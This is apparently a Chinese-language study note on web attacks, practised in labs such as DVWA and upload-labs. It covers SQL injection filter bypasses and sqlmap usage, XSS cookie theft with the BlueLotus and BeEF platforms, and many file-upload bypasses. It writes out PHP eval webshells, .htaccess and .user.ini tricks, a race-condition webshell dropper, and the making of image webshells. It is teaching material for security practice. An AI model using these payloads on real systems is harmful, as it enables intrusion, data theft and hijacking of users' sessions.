Xss漏洞

80 阅读3分钟

[TOC]

SQL注入补充

从MySQL注入到GetShell

Mysql⽀持向外写⽂件(这⾥的“外”是指服务器内部),需要⽤到 select into outfile 命令。

select into outfile的使⽤前提是:

  1. 要知道⽹站的绝对路径,可以通过开源程序、报错信息、phpinfo界⾯、404界⾯等⼀些⽅式知道;

  2. 对⽬录要有写权限,⼀般image之类的存放图⽚的⽬录有写权限;

  3. 要有mysql file权限(即能否对系统的⽂件读取和写操作),默认情况下只有root权限有;

还要注意:写的⽂件名⼀定是在⽹站中不存在的,不然会失败。

' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/s
hell2.php

SQL注入绕过

大小写绕过

⼤⼩写绕过⽤于只针对⼩写或⼤写的关键字匹配技术。

举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

替换关键字

这种情况下⼤⼩写转化⽆法绕过,⽽且正则表达式会替换或删除select、union这些关键字,如果只匹配 ⼀次就很容易绕过。

举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

使用编码

  1. URL编码

    URL编码只进⾏了⼀次过滤,可以⽤两次编码绕过。

    1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT
    
  2. ⼗六进制编码

    mysql> select * fromusers whereuser_id=1 and (extractvalue(1,concat(0x7e,
    (selectpassword fromusers wherefirst_name=0x61646d696e),0x7e)));
    

使用注释

  1. 普通注释

    -- , /**/, #,-- -
    
    举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   
       'union%0aselect pass from users#
    

    /**/在构造的查询语句中插⼊注释,规避对空格的依赖或关键字识别;#、-- ⽤于终结语句的查询。

  2. 内联注释

    ⽐普通注释,内联注释⽤得更多,它有⼀个特性/* ! */只有MySQL能识别。

    举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
    mysql> selectuser_id fromusers whereuser_id=1 /*!union*/ /*!all*/ /*!sel
    ect*/ 2;
    mysql> selectuser_id fromusers whereuser_id=1 /*!union*/ /*!all*/ /*!sel
    ect*/ 1;
    mysql> selectuser_id fromusers whereuser_id=1 /*!union*/ /*all*/ /*!sele
    ct*/ 1;
    

等价函数与命令

有些函数或命令因其关键字被检测出来⽽⽆法使⽤,但是在很多情况下可以使⽤与之等价或类似的代码 替代其使⽤。

  1. 函数或变量
bin()# ⼆进制
hex()# 16进制
bin()、hex() ==>ascii()
sleep() ==>benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种⽅式就可以评估出mysql执⾏这个expr表达
式的效率。
concat_ws() ==>concat()
concat_ws('分隔符', '字段1', '字段2'...) 多个列的字段合并并添加分隔符
concat('字段1', '字段2'...)  多个列的字段合并
mid()、substr() ==>substring()
mid() 函数⽤于得到⼀个字符串的⼀部分。
SELECTMID(ColumnName,Start,Length)
举例1:select mid(first_name,1,1) fromusers;
举例2substring()和substr()⽆法使⽤时:
1 andascii(lower(mid((selectlast_name fromusers limit 1,1),1,1)))=98;
strcmp(str1,str2)⽐较两个字符串,如果这两个字符串相等返回0;如果第⼆个字符⼩于第⼀个
字符就返回1,反之返回-1strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

2. 符号

andor 有可能不能使⽤,可以尝试&& 和 || 能不能⽤;
\=不能使⽤的情况,可以考虑尝试<、>,因为如果不⼩于⼜不⼤于,那就是等于了;
空格,可以使⽤如下符号表示其作⽤:%20 %09 %0a %0b %0c %0d %a0 /\*\*/

特殊符号

1.使⽤反引号`,例如select first_name from`users`; 可以⽤来过空格和正则,特殊情况下
还可以将其做注释符⽤
2.神奇的"-+.",select+user_id-1+1.from users; “+”是⽤于字符串连接的,”-”和”.”在
此也⽤于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @⽤于变量定义如@var_name,⼀个@表示⽤户定义,@@表示
系统变量

sqlmap工具

官⽅⽹站:sqlmap.org/

下载及安装

  1. Kali默认安装sqlmap

  2. Linux下git直接安装

    gitclone --depth 1https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    python sqlmap.py --update  # 更新
    python sqlmap.py -hh  # 查看帮助信息
    
  3. Windows下安装

    Windows下下载sqlmap的压缩包,解压后即可使⽤。但需要⼀些组件包的⽀持,需要有Python环境⽀持。

参数详解

1. Target:目标

  1. 目标URL,-u或者--url

    -u URL, --url=URL  ⽬标URL (e.g."http://www.site.com/vuln.php?id=1")
    
  2. 从Burp或者WebScarab代理中获取⽇志,-l

    -l LOGFILE
    
  3. 从⽂本中获取多个⽬标扫描,-m

    -m BULKFILE  将⽬标地址保存在⽂件中,⼀⾏为⼀个URL地址进⾏批量检测。
    
  4. 从文件中加载HTTP请求,-r

    -r REQUESTFILE 请求是HTTPS的时需要配合这个--force-ssl参数来使⽤,或者可以在Host头后⾯加上:443
    
  5. 处理Google的搜索结果,-g

    -g "inurl:\".php?id=1\""(只获取前100个结果,需要挂代理)
    

image-20250810164337860.png

2. Request:请求设置

--method:指定请求⽅法
--data:把数据以POST⽅式提交
--param:当GET或POST的数据需要⽤其他字符分割测试参数的时候需要⽤到此参数
--cookie:设置cookie,提交请求的时候附带所设置的cookie
--load-cookies:从⽂件获取cookie
--user-agent:可以使⽤–user-anget参数来修改
--headers:可以通过–headers参数来增加额外的http头
--proxy:设置代理,可以避免本机地址被封禁
--delay:可以设定两个HTTP(S)请求间的延迟 防⽌发送过快导致被封ip
--random-agent:使⽤–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进⾏注⼊。
--referer:在请求⽬标的时候可以⾃⼰伪造请求包中的referer
–-level:参数设定为3或者3以上的时候会尝试对referer注⼊
  1. --data

    此参数是把数据以POST⽅式提交,sqlmap会像检测GET参数⼀样检测POST参数。

    python sqlmap.py -u "http://www.magedu.com/students.php" --data="id=1" -f --banner --dbs --users
    
  2. 利⽤正则过滤⽬标⽹址,--scope

    python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)"
    
  3. 避免过多的错误请求被屏蔽,--safe-url,--safe-freq

    --safe-url:提供⼀个安全不错误的链接,每隔⼀段时间都会去访问⼀下。
    --safe-freq:提供⼀个安全不错误的链接,每次测试请求之后都会再访问⼀遍安全链接。
    

3. Optimization:优化

-o 开启所有优化开关

4. Injection:注入

-p:设置想要测试的参数
--skip:不想要测试的参数可以通过skip设置跳过
--dbms:指定数据库,节省sqlmap的检测时间
--os:指定数据库服务系统,节省sqlmap的检测时间
--tamper:使⽤sqlmap⾃带的tamper(脚本),或者⾃⼰写的tamper,来混淆payload,通常⽤
来绕过waf和ips。
  1. 测试参数,-p,--skip

    -p "id,user-anget"
    
    --skip="user-agent,referer"
    

    也可以在参数后面加上*来保留测试参数

image-20250810163413565.png

  1. 指定数据库服务器系统,--os

    --os:指定数据库服务系统,节省sqlmap的检测时间
    
  2. 脚本,--temper

    在 \sqlmap\current\tamper 下有 sqlmap 自带的脚本

image-20250810170323991.png

点进去,可以看到脚本的示范案例:

image-20250810170506986.png

5. Detection:探测等级

  1. 探测等级,--level

    共有五个等级,默认为1,最⼤为5。

    这个参数不仅影响使⽤哪些payload,同时也会影响测试的注⼊点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在不确定哪个payload或者参数为注⼊点的时候,为了保证全⾯性,建议使⽤⾼的level值。

  2. ⻛险等级,--risk

    共有三个⻛险等级,默认是1会测试⼤部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句 的SQL注⼊测试。

    (在有些时候,例如在UPDATE/DELETE的语句中,注⼊⼀个OR的测试语句,可能导致更新整个表,造成很⼤的⻛险。)

    测试的语句可以在xml/payloads.xml中找到

image-20250810165016761.png

6. Fingerprint:指纹

-f, --fingerprint 执⾏检查⼴泛的DBMS版本指纹
  1. 设定延迟注⼊的时间,--time-sec

    当使⽤时间盲注时,时刻使⽤--time-sec参数设定延时时间,默认是5秒。

  2. 设定UNION查询字段数,--union-cols

    默认情况下sqlmap针对UNION查询的注⼊会使⽤NULL字符,但是有些情况下会造成⻚⾯返回失败,⽽ ⼀个随机整数是成功的,这时可以⽤--union-char只定UNION查询的字符。

  3. ⼆阶SQL注⼊,--second-order

    有些时候注⼊点输⼊的数据看返回结果的时候并不是当前的⻚⾯,⽽是另外的⼀个⻚⾯,这时候就需要 指定到哪个⻚⾯获取响应判断真假。--second-order后⾯跟⼀个判断⻚⾯的URL地址。

7. Enumeration:枚举数据

-a, --all  获取所有信息
-b, --banner  获取数据库管理系统的标识
--current-user  获取数据库管理系统当前⽤户
--current-db  获取数据库管理系统当前数据库
--hostname  获取数据库服务器的主机名称
--is-dba  检测DBMS当前⽤户是否DBA(数据库管理员)
--users  枚举数据库管理系统⽤户
--passwords  枚举数据库管理系统⽤户密码哈希
--privileges  枚举数据库管理系统⽤户的权限
--roles  枚举数据库管理系统⽤户的⻆⾊
--dbs  枚举数据库管理系统数据库
--tables  枚举的DBMS数据库中的表
--columns  枚举DBMS数据库表列
--schema  枚举数据库架构
--count  检索表的项⽬数
--dump  转储数据库表项,即下载
--dump-all  转储数据库所有表项
--search  搜索列(S),表(S)和/或数据库名称(S)
--comments  获取DBMS注释
-D DB  要进⾏枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进⾏枚举
-U USER  ⽤来进⾏枚举的数据库⽤户
--exclude-sysdbs  枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART  获取第⼀个查询输出数据位置
--stop=LIMITSTOP  获取最后查询的输出数据
--first=FIRSTCHAR  第⼀个查询输出字的字符获取
--last=LASTCHAR  最后查询的输出字字符获取
--sql-query=QUERY  要执⾏的SQL语句
--sql-shell  提示交互式SQL的shell
--sql-file=SQLFILE  要执⾏的SQL⽂件
  1. 版本号信息,-b,--banner

  2. 当前⽤户,--current-user

  3. 当前数据库,--current-db

  4. 当前⽤户是否为管理员,--is-dba

  5. 列出数据库管理⽤户,--users

  6. 列出并破解数据库⽤户的hash,--passwords

  7. 列出数据库系统的数据库,--dbs

image-20250810172804836.png

  1. 列举数据库表,--tables,--exclude-sysdbs,-D 数据库名

    --tables -D DB
    

image-20250810172834650.png

  1. 列举数据库表中的列,--columns,-T,-D

    --columns -T TBL DBMS -D DB
    

image-20250810172845127.png 10. 转储数据库表项,--dump,--dump-all

```
--dump -C COL DBMS -T TBL DBMS -D DB 
```

image-20250810173457300.png

8. Brute force:爆破

--common-tables  检查存在共同表
--common-columns 检查存在共同列
--User-defined function injection ⽤户⾃定义函数注⼊
--udf-inject 注⼊⽤户⾃定义函数
--shared-lib=SHLIB 共享库的本地路径

9. File system access:访问文件系统

--file-read=RFILE  从后端的数据库管理系统读取⽂件
--file-write=WFILE 上传⽂件到后端的数据库管理系统
--file-dest=DFILE  后端的数据库管理系统写⼊⽂件的绝对路径
  1. 从数据库服务器中读取⽂件,--file-read(当数据库为MySQL,PostgreSQL或Microsoft SQL Server,且需要特定权限)

    python sqlmap.py -r 1.txt --file-read "/etc/passwd"
    

    文件会存入指定地方:

image-20250810175028344.png

image-20250810175102201.png

  1. 把⽂件上传到数据库服务器中,--file-write,--file-dest(同上)

    python sqlmap.py -r 1.txt --file-write="本地路径/user.txt" --file-dest="服务器路径/user.
    txt"
    

10. Operating system access:访问操作系统

--os-cmd=OSCMD  执⾏操作系统命令
--os-shell  交互式的操作系统的shell
--os-pwn  获取⼀个OOB shell,meterpreter或VNC
--os-smbrelay  ⼀键获取⼀个OOB shell,meterpreter或VNC
--os-bof  存储过程缓冲区溢出利⽤
--priv-esc  数据库进程⽤户权限提升
--msf-path=MSFPATH Metasploit Framework  本地的安装路径
--tmp-path=TMPPATH  远程临时⽂件⽬录的绝对路径
  1. 获取整个表的数据,--dump,-C,-T,-D,--start,--stop,--first,--last

  2. 获取所有数据库表的内容,--dump-all,--exclude-sysdbs

  3. 搜索字段,表,数据库,--search,-C,-T,-D

  4. 运⾏⾃定义的SQL语句,--sql-query,--sql-shell

  5. 运⾏任意操作系统命令,--os-cmd,--os-shell

image-20250810180148994.png

  1. 爬取⽹站URL,--crawl

    sqlmap可以收集潜在的可能存在漏洞的连接,后⾯跟的参数是爬⾏的深度。此时的URL可以不带参数。

    python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submi
    t=Submit#" --batch --crawl=3
    
  2. 定义dump数据的格式,--dump-format 输出的格式可定义为:CSV,HTML,SQLITE

  3. ⾃定义输出的路径,--output-dir

11. 非缓存重新扫描数据

--flush--session 重新扫描数据

实际利用(DVWA)

当给sqlmap⼀个URL的时候,它会:

  1. 判断可注⼊的参数
  2. 判断可以使⽤哪种SQL注⼊技术来注⼊
  3. 识别出哪种数据库
  4. 根据⽤户选择,读取哪些数据

-v参数:

0、只显示python错误以及严重的信息
1、同时显示基本信息和警告信息(默认)
2、同时显示debug信息
3、同时显示注⼊的payload
4、同时显示HTTP请求
5、同时显示HTTP响应头
6、同时显示HTTP响应⻚⾯

技巧:在实际检测过程中,sqlmap会不停的询问,需要⼿⼯输⼊Y/N来进⾏下⼀步操作,可以使⽤参 数“--batch”命令来⾃动答复和判断


Xss漏洞

反射型

反射型是一次性的,当⽤户访问恶意链接时候,会向服务器发起⼀个GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型。

image-20250810194821429.png

存储型

存储型是持久的,常见于留言板,博客论坛反馈投诉,将恶意代码和正⽂都存⼊服务端(数 据库、内存、⽂件系统等),每次访问都会触发恶意代码。

image-20250810195120035.png

DOM型

DOM型XSS其实是⼀种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM⽂档对象模型的⼀种 漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS 靠的是浏览器的DOM解析,完全是客户端的事情。


BlueLotus 和 Beef-xss 平台

BlueLotus 下载与安装

  1. 在github上下载该⼯具的压缩包:github.com/firesunCN/B…

image-20250810200952116.png 2. 使用phpstudy搭建网站

image-20250820113132250.png

  1. 访问 127.0.0.1/xss/install.php 进入安装界面

image-20250820112921313.png

image-20250810200920650.png

BlueLotus 使用

在公共模板里点击 default.js 点击添加。

image-20250820113823308.png

在 我的JS 选择 default.js 模板 ,点击插入模板。

image-20250820114121606.png

填入网站地址

image-20250820120529561.png

点击生成playload,复制

image-20250820115414908.png

发送到靶场

image-20250820120601194.png

接收到消息,拿到cookie。

image-20250820120834628.png

Xss盲打

盲打的意思是⽆法直接在前端看到反馈效果,只能通过后台看到输⼊的内容,从前端⽆法判断是否存在 XSS,这种情况下,我们直接往后台插⼊XSS代码,然后等待,当管理员或者⽤户访问到⽬标⻚⾯时就会 遭到XSS攻击。

image-20250820135915583.png

攻击成功后,进入后台。

image-20250820140035149.png

Beef-xss 下载与安装

  1. 输入命令进行安装

    apt-get install beef-xss
    

image-20250820141005138.png

  1. 直接运行

    Beef-xss
    
  2. 标记处的意思是叫你修改密码(密码输⼊时不可见),本身默认的密码和账号分别为beef 和beef。

image-20250820141306076.png

  1. 我的密码设置成password,安装成功后访问 http://you_ip:3000/ui/panel

image-20250820141511787.png

image-20250820141524520.png

image-20250820141626556.png

Beef-xss 使用

  1. 利用生成的链接写⼊存在有 XSS漏洞 的地⽅

image-20250820141829560.png

image-20250820142312458.png

  1. 上传成功后,在Beef平台就可以详细信息

image-20250820142639715.png 命令操控:

image-20250820142747025.png

命今颜⾊(Color): 绿⾊对⽬标主机⽣效并且不可⻅(不会被发现) 橙⾊对⽬标主机⽣效但可能可⻅(可能被发现) 灰⾊对⽬标主机来未必⽣效(可验证下) 红⾊对⽬标主机不⽣效

主要模块 Broser :主要是针对浏览器的⼀些信息收集或攻击,其下的⼦选项卡Hooked Domain主要是获 取HTTP属性值,⽐如cookie、表单值等,还可以做写简单的浏览器操作,⽐如替换href值,弹出警 告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是 浏览器通⽤操作和其他基本信息检测。 Chrome extensions :主要是针对⾕歌浏览器扩展插件 Debug :调试功能 Exploits :漏洞利⽤,主要利⽤⼀些已公开的漏洞进⾏攻击测试 Host :针对主机,⽐如检测主机的浏览器、系统信息、IP地址、安装软件等等 IPEC :协议间通信。主要是⽤来连接、控制受害者浏览器的 Metasploit :Beef可通过配置和metasploit平台联合,⼀旦有受害者出现,可通过信息收集确 定是否存在漏洞,进⼀步⽅便metasploit攻击测试 Misc :杂项。 Network :⽹络扫描 Persistence :维护受害者访问 Phonegap :⼿机测试 Social engineering :社会⼯程学攻击

实时日志:

image-20250820142821539.png

  1. 隐藏链接,先复制下youxss漏洞的链接:http://192.168.184.130:8000/vul/xss/xss_stored.php

    打开 <短网址|goo.su/>

image-20250820143947802.png

其原理是网页的重定向。


文件上传漏洞

文件上传常见点

上传头像 上传相册 上传附件 添加⽂章图⽚ 前台留⾔资料上传 编辑器⽂件上传

靶场启动

靶场总结了常⻅的⽂件上传漏洞点,部分漏洞需要windows才能复现,⽆法在docker中复现。

docker run -d -p 8081:80 monstertsl/upload-labs

image-20250820163526384.png

文件上传漏洞分类

客户端—JS绕过

  1. 访问 http://your_ip:8081 , 选择 Pass-01。Upload-labs(Pass-01)源码分析,通过验证发现是前端JS验证,⽽前端验证,⼏乎没有什么防护作⽤。

image-20250820163612099.png

image-20250820163628586.png

image-20250820164505408.png

方法一:禁用JS
  1. 浏览器直接禁⽤JS,先按F12,然后按F1,找到禁⽤JS

image-20250820164545240.png 上传成功

image-20250820164912931.png

  1. 复制文件地址,用蚁剑链接shell。(密码是一句话木马的关键词)

image-20250820165555696.png

image-20250820165659811.png

方法二:后缀名绕过
  1. 先把⼀句话⽊⻢改为 .jpg|.png 其中⼀个后缀,上传,抓包

image-20250820170553987.png

发送到重放器,把文件名称改成.php格式

image-20250820170658727.png 发送成功

image-20250820170735531.png

服务端白名单绕过

服务端⽩名单(Whitelist)是⼀种安全机制,它只允许预定义的合法元素通过,其他所有内容默认被拒绝。相⽐⿊ 名单,⽩名单通常更安全。但某些情况也会被绕过。

MIME类型检测绕过

Upload-labs(Pass-02)第⼆关通过服务端对数据包的MIME类型进⾏检查

  1. 查看源码白名单能通过的类型

image-20250820171506553.png

  1. 通过burp抓包,修改Content-Type类型

image-20250820171622017.png 发送成功

image-20250820171655782.png

00截断绕过

​ 旧的操作系统是C语⾔或汇编语⾔编写的,这两种语⾔在定义字符串时,以\0作为 字符串结束标志 或者 字符串结束符。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了⼀个字符串的结束符号。因此,我们可以通过修改数据包,插⼊\0字符的⽅式,达到字符串截断的⽬的。

服务端黑名单绕过

服务端⿊名单(Blacklist)是⼀种安全防护机制,它会明确禁⽌某些已知的危险元素

特殊可解析后缀

Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名⿊名单,识别上传⽂件的类型是 否为 '.asp','.aspx','.php','.jsp' 中的⼀个,若是其中的⼀个,则不允许上传。

image-20250820172630906.png

但是除了常⻅的 .php 扩展名外,许多 Web 服务器配置也会将以下扩展名识别为 PHP 脚本并执⾏其中的代 码:

  1. .phtml

    传统上⽤于 "PHP + HTML" 混合⽂件 许多默认配置中已启⽤

  2. .phps

    本应⽤于显示 PHP 源代码(Source) 但如果配置不当,可能会被执⾏⽽⾮显示

  3. .php5

    ⽤于 PHP 5 特定脚本 在⼀些服务器上显式⽀持

  4. .pht

    较少⻅但可被解析的扩展名

所以由于服务端采⽤⿊名单的过滤⽅式,这⾥可以使⽤phtml后缀上传,直接修改后缀名,上传成功

image-20250820172748155.png

.htaccess文件绕过

.htaccess ⽂件也被称为分布式配置⽂件,全称是 Hypertext Access。.htaccess ⽂件提供了针对⽬录 改变配置的⽅法。通过.htaccess⽂件,可以帮我们实现:

  1. ⽹⻚301重定向、⾃定义404错误⻚⾯。
  2. 改变⽂件扩展名、允许/阻⽌特定的⽤户或者⽬录的访问。
  3. 改变文件解析方式。
  4. 禁⽌⽬录列表、配置默认⽂档等功能。

.htaccess⽂件⽣效的前提条件

  1. mod_rewrite模块开启
  2. AllowOverride All

首先,先上传一个 内容如下的 .htaccess 文件,⽂件意思是告诉apache将2.jpg当作php⽂件来处理。

<FilesMatch"2.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

接着上传2.jpg ⽂件,从⽽完成.htaccess ⽂件上传解析漏洞的利⽤。

image-20250820183529519.png

image-20250820183518100.png

.user.ini文件绕过

Upload-labs(Pass-05)上传5.php、.htaccess、5.phtml等⽂件发现都被禁⽤,分析源码,发 现.user.ini没有被禁⽤。⽽.user.ini和.htaccess⼀样是⽬录的配置⽂件,.user.ini就是⽤户⾃定义的 php.ini,可以利⽤这个⽂件来构造后⻔和隐藏后⻔。

.user.ini使⽤范围很⼴,不仅限于Apache 服务器,同样适⽤于Nginx服务器,只要服务器启⽤了 fastcgi 模式 (通常⾮线程安全模式使⽤的就是fastcgi 模式)。

  1. 在 .user.ini 中写⼊如下内容并上传:意思是该⽬录下所有php⽂件都将包含2.gif。

    auto_prepend_file=2.gif
    
  2. 上传shell.gif,访问保存目录下的.php文件。

大小写绕过

Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了⿊名单对常⻅的后缀进⾏过滤,但并未对 后缀名⼤⼩写进⾏统⼀。可以利⽤⼤⼩写进⾏绕过。例如:.PHp

改文件名字,直接上传

image-20250820185110836.png

空格绕过

Upload-labs(Pass-07)通过代码分析没有去空格,在⽂件后缀加空格后上传

点绕过

Windows系统中会⾃动去除⽂件名最后的 . ,因此在Windows系统中可以使⽤此⽅法绕过;Linux系统 虽然不会⾃动去除⽂件名最后的 . ,但是部分Linux系统搭配中间件可以实现解析。 Upload-labs(Pass-08)分析代码没有去除点,直接在⽂件后⾯加上点。

::$DATA绕过

在Windows中,如果⽂件名 + ::DATA会把::DATA 会把 ::DATA 之后的数据当成⽂件流处理,不会检测后 缀名,且保持::$DATA之前的⽂件名,使⽤它的⽬的就是不检查后缀名。

phpinfo.php::$DATA
配合解析绕过

Upload-labs(Pass-10),这⼀关的思路是它没有循环验证,也就是说⾸尾去空,删除末尾的点,去除字符串:$SDATA,转换为⼩写这些措施只验证了⼀次,所以绕过思路也很简单,只需要把绕过方法组合使用即可。

双写后缀名绕过

Upload-labs(Pass-11)从源码中可以发现,源码中定义了⿊名单列表,我们上传⽂件的后缀名凡是符 合⿊名单中任意⼀个后缀都会被替换为空,那么我们可以利⽤双写后缀名的⽅式进⾏绕过。

3.pphphp -> 3.php

image-20250821153855755.png

image-20250821153918535.png

服务端内容检查绕过

文件头检查

Upload-labs(Pass-14)根据下⾯描述,需要使⽤图⽚⻢进⾏上传,然后使⽤⽂件包含漏洞进⾏利⽤获 取Webshell。查看源码,发现web后端代码检查了上传⽂件的前两个字节并且根据字节判定⽂件后缀, 只能上传后缀为图⽚的⽂件。

⽂件包含漏洞位置: http://192.168.153.1:8081/include.php,需要有漏洞文件才能执行图片马。

image-20250821161648440.png

  1. 下载一张正常图片

  2. 在cmd终端用copy命令合并正常图片和一句话木马

    copy 1.png /b + 1.php /b 2.png
    //1.png是正常图⽚,1.php是⼀句话后门,2.png是制作的图⽚马
    

image-20250821161942702.png

  1. 将上传的⽂件名输⼊file变量即可(注意问号要是英文版的)。

    http://192.168.184.130:8081/include.php?file=upload/4120250821082650.png
    

image-20250821162917489.png

突破getimagesize

Upload-labs(Pass-15)代码是⽤getimagesize函数来判断上传⽂件,作⽤是获取⽂件是不是图⽚格式 的,⽐如图⽚的⻓度和⾼度等。这个时候就不能再上传假图⽚了,需要上传⼀张真图然后抓包,在最后 添加⼀句话⽊⻢。利⽤过程和Pass-14⼀样。

源码显示:

image-20250821163735628.png 抓包重放:

image-20250821163253461.png

执行成功:

image-20250821163639952.png

突破exif_imagetype

Upload-labs(Pass-16)exif_imagetype 读取⼀个图像的第⼀个字节并检查其签名,所以也是可以通 过在图⽚末尾添加⼀句话⽊⻢来进⾏绕过的,与(Pass-15)解法相同。

image-20250821163935329.png

⼆次渲染绕过

Upload-labs(Pass-17)这⼀关⽐较综合,判断了后缀名、⽂件类型,以及利⽤ imagecreatefromXXX 判断是否为真实图⽚,最后再做了⼆次渲染。可以看到,这⾥先是判断后缀名和 ⽂件类型,然后再⽤imagecreatefrom[jpeg|png|gif] 函数判断是否是图⽚格式,如果是图⽚的话再⽤ image[jpeg|png|gif] 函数对其进⾏⼆次渲染。

简单来说就是根据⽤户上传的原始图⽚,新⽣成⼀个图⽚,新图⽚会保存在服务器上。

漏洞利用的关键是在于找到原始图片和新图片的交集部分,然后把木马写入到交集部分中

GIF:渲染前后的两张GIF,没有发⽣变化的数据块部分直接插⼊Webshell 即可。

JPG:需要使⽤脚本将数据插⼊到特定的数据块,⽽且可能会不成功,所以需要多次尝试。

PNG:没有GIF 那么简单,需要将数据写⼊到PLTE 数据块 或者IDAT 数据块。

⽹上下载GIF图⽚,⽤ 010editor打开原始图⽚和新图⽚,使⽤tools -> compare files 进⾏对⽐,蓝⾊ 的区域都是没有改变的来,然后将⽂件的后缀名同⽩名单对⽐,如果是jpg、png、gif中的⼀种,就将⽂件进⾏重命名;如果不符合的话,unlink()函数就会删除该⽂件。

image-20250821190514963.png

image-20250821190436120.png

条件竞争

Upload-labs(Pass-18),从源码来看,服务器先是将上传的⽂件保存下来,然后将⽂件的后缀名同⽩ 名单对⽐,如果是jpg、png、gif中的⼀种,就将⽂件进⾏重命名;如果不符合的话,unlink()函数就会删 除该⽂件。

image-20250821190633412.png

代码执⾏的过程是需要耗费时间的,如果我们能赶在上传的php脚本被删除之前访问到它,就能成功执⾏ 并⽣成新的webshell⽽新的webshell不会被删除,这个也叫做条件竞争上传绕过。

php⽂件如下,⼀旦执⾏后会在当前⽬录下写⼊shell.php:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["magedu"])?>');?>

上传cs.php,并⽤burp抓包,发送到Intruder模块。

选择 Null playloads,无限重复。

image-20250821192449917.png

开启攻击后,重复访问发送的文件,直到显示文件存在,即 200。

image-20250821194352837.png

image-20250821194408500.png

再访问shell.php,200即攻击成功。

image-20250821194506162.png

中间件解析漏洞

IIS 5.x/6.0 解析漏洞

1、当创建.asp的⽂件⽬录的时候,在此⽬录下的任意⽂件,服务器都解析为asp⽂件。例如如下: 漏洞⽬录利⽤形式:www.xxx.com/xx.asp/xx.j… xx.jpg的内容可以为⼀段合法的asp脚本⽂件。 2、服务器默认不解析;以后的内容,导致xx.asp;.jpg被解析成xx.asp

漏洞⽂件利⽤形式:www.xxx.com/xx.asp;.jpg xx.jpg的内容可以为⼀段合法的asp脚本⽂件。

Nginx 解析漏洞

Nginx⽂件解析漏洞主要发⽣在PHP环境与Nginx的配合使⽤中,核⼼问题是Nginx和PHP-FPM对请求URI的处 理不⼀致导致的。

  1. Nginx处理流程:Nginx根据location匹配规则将请求交给PHP-FPM处理
  2. PHP-FPM⾏为:PHP-FPM根据 SCRIPT_FILENAME 参数决定执⾏哪个⽂件
  3. 路径解析差异:Nginx和PHP-FPM对路径中的特殊字符(如 / 、 %00 )处理⽅式不同

触发条件: Nginx版本 < 0.8.41 配置了 fastcgi_split_path_info 且正则表达式不安全

Apache 解析漏洞

Apache是世界使⽤排名第⼀的Web服务器软件。它可以运⾏在⼏乎所有⼴泛使⽤的计算机平台上,由于 其跨平台和安全性被⼴泛使⽤,是最流⾏的Web服务器端软件之⼀。 Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

www.xxxx.com/post_shell.php.mage.edu

Apache从右⾄左开始判断后缀,若edu⾮可识别后缀,再判断mage,直到找到可识别后缀为⽌,然后将 该可识别后缀进解析,因此如上地址解析为访问apache.php⽂件。

可以看出来,Apache允许⽂件有多个后缀名,并会按照第⼀个点来分析⽂件后缀,例如file.html.en。 Apache按照每个点来分割后缀名,因此此⽂件名为 .html.en。由于en后缀不被识别,便继续向前解 析。


Upload_Auto_Fuzz插件

内容介绍:

waf绕过功能

后缀变异:ASP/ASPX/PHP/JSP后缀混淆(空字节、双扩展名、特殊字符等) 内容编码:MIME编码、Base64编码、RFC 2047规范绕过 协议攻击:HTTP头拆分、分块传输编码、协议⾛私

系统特性

windwos特性: NTFS数据流(::$DATA) 保留设备名(CON, AUX) ⻓⽂件名截断

linux特性: Apache多级扩展解析 路径遍历尝试 点号截断攻击

内容欺骗

魔术字节注⼊(GIF/PNG/PDF头) SVG+XSS组合攻击 ⽂件内容混淆(注释插⼊、编码变异)

安装方式

  1. 该插件是python开发,因此需要先安装jython。

    找到官网下载

image-20250821201128872.png

在burp设置最底栏选中 jython。

image-20250821201822210.png

  1. 下载Upload_Auto_Fuzz插件压缩包,解压

image-20250821200616745.png

  1. 打开brup,进入扩展栏,点击添加

    文件类型选Python,选择文件。

image-20250821202206712.png

  1. 输出结果无错误即添加成功。

image-20250821202137593.png

使用方法

  1. 用burp开启拦截,抓包

image-20250821202627990.png

  1. 右键选择,发送到Intruder

image-20250821202541824.png

  1. 在这两个地方添加变量

image-20250821202817159.png

  1. 点击playload选择类型

image-20250821202903144.png

  1. 选择生成器

image-20250821203011586.png 6. 取消playload编码

image-20250821203252337.png 7. 展开攻击

image-20250821203430823.png